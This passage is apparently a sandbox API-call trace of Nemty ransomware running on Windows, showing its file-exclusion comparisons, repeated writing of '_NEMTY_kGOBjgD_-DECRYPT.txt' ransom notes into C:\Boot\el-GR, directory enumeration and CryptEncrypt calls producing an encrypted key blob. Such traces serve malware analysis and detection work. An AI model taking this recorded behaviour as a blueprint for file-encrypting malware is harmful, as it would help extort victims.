-1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0043.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0043.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.760] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb0b010, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcdb0b010, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcdb0b010, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0043.760] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0043.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.760] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2=".") returned 1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="..") returned 1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="...") returned 1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="windows") returned -1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="$RECYCLE.BIN") returned 1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="rsa") returned -1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="NTDETECT.COM") returned -1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="ntldr") returned -1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="MSDOS.SYS") returned -1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="IO.SYS") returned -1 [0043.760] lstrcmpiW (lpString1="el-GR", lpString2="boot.ini") returned 1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="boot.ini") returned 1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="AUTOEXEC.BAT") returned 1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="ntuser.dat") returned -1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="desktop.ini") returned 1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="CONFIG.SYS") returned 1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="RECYCLER") returned -1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="BOOTSECT.BAK") returned 1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="bootmgr") returned 1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="programdata") returned -1 [0043.761] lstrcmpiW (lpString1="el-GR", lpString2="appdata") returned 1 [0043.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="el-GR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="el-GR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="el-GR", lpUsedDefaultChar=0x0) returned 5 [0043.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="el-GR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="el-GR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="el-GR", lpUsedDefaultChar=0x0) returned 5 [0043.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0043.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.761] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\el-gr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.762] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.762] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0043.763] CloseHandle (hObject=0x3c0) returned 1 [0043.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0043.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.763] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\el-gr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.764] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.764] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0043.765] CloseHandle (hObject=0x3c0) returned 1 [0043.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0043.765] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcdc87dd0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcdc87dd0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0043.766] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0043.766] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcdc87dd0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcdc87dd0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.766] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0043.766] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0043.766] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0043.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0043.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.766] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.766] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0043.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.767] Sleep (dwMilliseconds=0x5) [0043.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcdcadf30, dwHighDateTime=0x1d561e7)) [0043.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcdcadf30, dwHighDateTime=0x1d561e7)) [0043.771] GetLastError () returned 0xb7 [0043.771] SetLastError (dwErrCode=0xb7) [0043.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.772] SetLastError (dwErrCode=0xb7) [0043.772] GetLastError () returned 0xb7 [0043.773] SetLastError (dwErrCode=0xb7) [0043.773] GetLastError () returned 0xb7 [0043.773] SetLastError (dwErrCode=0xb7) [0043.773] GetLastError () returned 0xb7 [0043.773] SetLastError (dwErrCode=0xb7) [0043.773] GetLastError () returned 0xb7 [0043.773] SetLastError (dwErrCode=0xb7) [0043.773] GetLastError () returned 0xb7 [0043.773] SetLastError (dwErrCode=0xb7) [0043.773] GetLastError () returned 0xb7 [0043.773] SetLastError (dwErrCode=0xb7) [0043.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.773] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0043.773] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0043.773] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0043.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.773] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="TFnW4Px9TjCPm3JOwBkhUucXqBWgRIws/qPqjFLXXX1IhAPuUlitZKz9R6sfU0Wy\r\nYvF/2dTcn9u1vZHksowcDktY5gII8ejUbqnf5Kuy99L6VUe9uPlT4QYTlRmElfYY\r\nS4Qa5EHaSbw63tk8IctI78ljcfFXYxgEsEjVMXS8ppnQqH7ZQOkCW5XBMY3yqx6o\r\nEVxeRVcPPcczzhtiRUPnUHKjZ9ah4C0gyzv6cK7oVSVSqKM7VJJC6EttQiAo+Urz\r\ntQsNIce3liaD5KJh0pBhpuPiujqwTkA+NqTfq9J7iYuvnaUzOO2qMhPnrepqKrXt\r\nkBDzoAxjt9OkBhZ1h1+lFg==\r\n", pcchString=0x653f2dc) returned 1 [0043.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 